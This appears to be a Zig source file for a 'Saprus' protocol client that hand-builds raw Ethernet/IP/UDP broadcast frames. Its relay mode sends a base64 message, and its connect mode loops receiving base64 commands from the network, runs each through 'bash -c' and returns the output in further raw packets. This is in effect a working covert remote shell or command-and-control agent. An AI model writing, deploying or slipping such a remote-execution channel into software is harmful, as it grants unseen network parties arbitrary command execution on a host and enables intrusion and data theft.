const is_debug = builtin.mode == .Debug;

const help =
    \\-h, --help           Display this help and exit.
    \\-r, --relay <str>    A relay message to send.
    \\-d, --dest <str>     An IPv4 or <= 4 ASCII byte string.
    \\-c, --connect <str>  A connection message to send.
    \\
;

const Option = enum { help, relay, dest, connect };
const to_option: StaticStringMap(Option) = .initComptime(.{
    .{ "-h", .help },
    .{ "--help", .help },
    .{ "-r", .relay },
    .{ "--relay", .relay },
    .{ "-d", .dest },
    .{ "--dest", .dest },
    .{ "-c", .connect },
    .{ "--connect", .connect },
});

pub fn main(init: std.process.Init) !void {
    // CLI parsing adapted from the example here
    // https://codeberg.org/ziglang/zig/pulls/30644

    const args = try init.minimal.args.toSlice(init.arena.allocator());

    if (args.len == 1) {
        std.debug.print("{s}", .{help});
        return;
    }

    var flags: struct {
        relay: ?[]const u8 = null,
        dest: ?[]const u8 = null,
        connect: ?[]const u8 = null,
    } = .{};

    {
        var payload_buf: [4096]u8 = undefined;
        var i: usize = 1;
        while (i < args.len) : (i += 1) {
            if (to_option.get(args[i])) |opt| {
                switch (opt) {
                    .help => {
                        std.debug.print("{s}\n", .{help});
                        return;
                    },
                    .relay => {
                        i += 1;
                        if (i < args.len) {
                            var w: Writer = .fixed(&payload_buf);
                            try w.printBase64(args[i]);
                            flags.relay = w.buffered();
                        } else {
                            std.debug.print("-r/--relay requires a string\n", .{});
                            return error.InvalidArguments;
                        }
                    },
                    .dest => {
                        i += 1;
                        if (i < args.len) {
                            flags.dest = args[i];
                        } else {
                            std.debug.print("-d/--dest requires a string\n", .{});
                            return error.InvalidArguments;
                        }
                    },
                    .connect => {
                        i += 1;
                        if (i < args.len) {
                            var w: Writer = .fixed(&payload_buf);
                            try w.printBase64(args[i]);
                            flags.connect = w.buffered();
                        } else {
                            flags.connect = "";
                        }
                    },
                }
            } else {
                std.debug.print("Unknown argument: {s}\n", .{args[i]});
                return error.InvalidArguments;
            }
        }
    }

    if (flags.connect != null and (flags.relay != null or flags.dest != null)) {
        std.debug.print("Incompatible arguments.\nCannot use --connect/-c with dest or relay.\n", .{});
        return error.InvalidArguments;
    }

    const rand = blk: {
        const io_source: std.Random.IoSource = .{ .io = init.io };
        break :blk io_source.interface();
    };

    // const net_interface: std.Io.net.Interface = .{ .index = 1 };
    // std.debug.print("Interface: {s}\n", .{(try net_interface.name(init.io)).toSlice()});
    const EthIpUdp = packed struct(u336) { // 42 bytes * 8 bits = 336
        // --- UDP (Last in memory, defined first for LSB->MSB) ---
        udp: packed struct {
            checksum: u16 = 0,
            len: u16,
            dst_port: u16,
            src_port: u16,
        },

        // --- IP ---
        ip: packed struct {
            dst_addr: u32,
            src_addr: u32,
            header_checksum: u16 = 0,
            protocol: u8 = 17, // udp
            ttl: u8 = 0x40,

            // fragment_offset (13 bits) + flags (3 bits) = 16 bits
            // In Big Endian, flags are the high bits of the first byte.
            // To have flags appear first in the stream, define them last here.
            fragment_offset: u13 = 0,
            flags: packed struct(u3) {
                reserved: u1 = 0,
                dont_fragment: u1 = 1,
                more_fragments: u1 = 0,
            } = .{},

            id: u16,
            len: u16,
            tos: u8 = undefined,

            // ip_version (4 bits) + ihl (4 bits) = 8 bits
            // To have version appear first (high nibble), define it last.
            ihl: u4 = 5,
            ip_version: u4 = 4,
        },

        // --- Ethernet ---
        eth_type: u16 = std.os.linux.ETH.P.IP,
        src_mac: @Vector(6, u8),
        dst_mac: @Vector(6, u8) = @splat(0xff),

        fn toBytes(self: @This()) [336 / 8]u8 {
            var res: [336 / 8]u8 = undefined;
            var w: Writer = .fixed(&res);
            w.writeStruct(self, .big) catch unreachable;
            return res;
        }

        fn setPayloadLen(self: *@This(), len: usize) void {
            self.ip.len = @intCast(len + (@bitSizeOf(@TypeOf(self.udp)) / 8) + (@bitSizeOf(@TypeOf(self.ip)) / 8));
            self.udp.len = @intCast(len + (@bitSizeOf(@TypeOf(self.udp)) / 8));
        }
    };

    var socket: RawSocket = try .init();
    defer socket.deinit();

    var headers: EthIpUdp = .{
        .src_mac = socket.mac,
        .ip = .{
            .id = rand.int(u16),
            .src_addr = 0, //rand.int(u32),
            .dst_addr = @bitCast([_]u8{ 255, 255, 255, 255 }),
            .len = undefined,
        },
        .udp = .{
            .src_port = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)),
            .dst_port = 8888,
            .len = undefined,
        },
    };

    if (flags.relay != null) {
        const relay: SaprusMessage = .{
            .relay = .{
                .dest = .fromBytes(&parseDest(flags.dest)),
                .payload = flags.relay.?,
            },
        };

        var relay_buf: [2048]u8 = undefined;
        const relay_bytes = relay.toBytes(&relay_buf);
        headers.setPayloadLen(relay_bytes.len);

        const full_msg = blk: {
            var msg_buf: [2048]u8 = undefined;
            var msg_w: Writer = .fixed(&msg_buf);
            msg_w.writeAll(&headers.toBytes()) catch unreachable;
            msg_w.writeAll(relay_bytes) catch unreachable;
            break :blk msg_w.buffered();
        };

        try socket.send(full_msg);
        return;
    }

    if (flags.connect != null) {
        reconnect: while (true) {
            headers.udp.dst_port = 8888;
            const dest = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16));
            const src = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16));
            // udp dest port should not be 8888 after first
            const udp_dest_port = rand.intRangeAtMost(u16, 9000, std.math.maxInt(u16));
            var connection: SaprusMessage = .{
                .connection = .{
                    .src = src,
                    .dest = dest,
                    .seq = undefined,
                    .id = undefined,
                    .payload = flags.connect.?,
                },
            };

            try socket.attachSaprusPortFilter(src);

            var connection_buf: [2048]u8 = undefined;
            var connection_bytes = connection.toBytes(&connection_buf);
            headers.setPayloadLen(connection_bytes.len);

            var full_msg = blk: {
                var msg_buf: [2048]u8 = undefined;
                var msg_w: Writer = .fixed(&msg_buf);
                msg_w.writeAll(&headers.toBytes()) catch unreachable;
                msg_w.writeAll(connection_bytes) catch unreachable;
                break :blk msg_w.buffered();
            };

            socket.send(full_msg) catch continue;
            var res_buf: [4096]u8 = undefined;

            var res = socket.receive(&res_buf) catch continue;
            try init.io.sleep(.fromMilliseconds(40), .real);

            headers.udp.dst_port = udp_dest_port;
            headers.ip.id = rand.int(u16);

            full_msg = blk: {
                var msg_buf: [2048]u8 = undefined;
                var msg_w: Writer = .fixed(&msg_buf);
                msg_w.writeAll(&headers.toBytes()) catch unreachable;
                msg_w.writeAll(connection_bytes) catch unreachable;
                break :blk msg_w.buffered();
            };
            socket.send(full_msg) catch continue;

            while (true) {
                res = socket.receive(&res_buf) catch continue :reconnect;
                try init.io.sleep(.fromMilliseconds(40), .real);
                const connection_res = blk: {
                    const msg: SaprusMessage = try .parse(res[42..]);
                    break :blk msg.connection;
                };
                const b64d = std.base64.standard.Decoder;
                var connection_payload_buf: [4096]u8 = undefined;
                const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(connection_res.payload)];
                try b64d.decode(connection_payload, connection_res.payload);

                const child = std.process.spawn(init.io, .{
                    .argv = &.{ "bash", "-c", connection_payload },
                    .stdout = .pipe,
                    .stderr = .pipe,
                }) catch continue;

                var child_stdout: std.ArrayList(u8) = .empty;
                defer child_stdout.deinit(init.gpa);
                var child_stderr: std.ArrayList(u8) = .empty;
                defer child_stderr.deinit(init.gpa);

                try child.collectOutput(init.gpa, &child_stdout, &child_stderr, 4096);

                const b64e = std.base64.standard.Encoder;
                var cmd_output_buf: [4096]u8 = undefined;
                const cmd_output = b64e.encode(&cmd_output_buf, child_stdout.items);

                connection.connection.payload = cmd_output;
                connection_bytes = connection.toBytes(&connection_buf);
                headers.setPayloadLen(connection_bytes.len);
                headers.ip.id = rand.int(u16);

                full_msg = blk: {
                    var msg_buf: [2048]u8 = undefined;
                    var msg_w: Writer = .fixed(&msg_buf);
                    msg_w.writeAll(&headers.toBytes()) catch continue;
                    msg_w.writeAll(connection_bytes) catch continue;
                    break :blk msg_w.buffered();
                };

                try socket.send(full_msg);
            }

            return;
        }
    }

    unreachable;
}

fn parseDest(in: ?[]const u8) [4]u8 {
    if (in) |dest| {
        if (dest.len <= 4) {
            var res: [4]u8 = @splat(0);
            @memcpy(res[0..dest.len], dest);
            return res;
        }

        const addr = std.Io.net.Ip4Address.parse(dest, 0) catch return "FAIL".*;
        return addr.bytes;
    }
    return "disc".*;
}

const builtin = @import("builtin");
const std = @import("std");
const ArrayList = std.ArrayList;
const StaticStringMap = std.StaticStringMap;

const zaprus = @import("zaprus");
const SaprusClient = zaprus.Client;
const SaprusMessage = zaprus.Message;
const RawSocketWriter = zaprus.RawSocketWriter;

const AF = std.os.linux.AF;
const SOCK = std.os.linux.SOCK;

const RawSocket = @import("./RawSocket.zig");

const Writer = std.Io.Writer;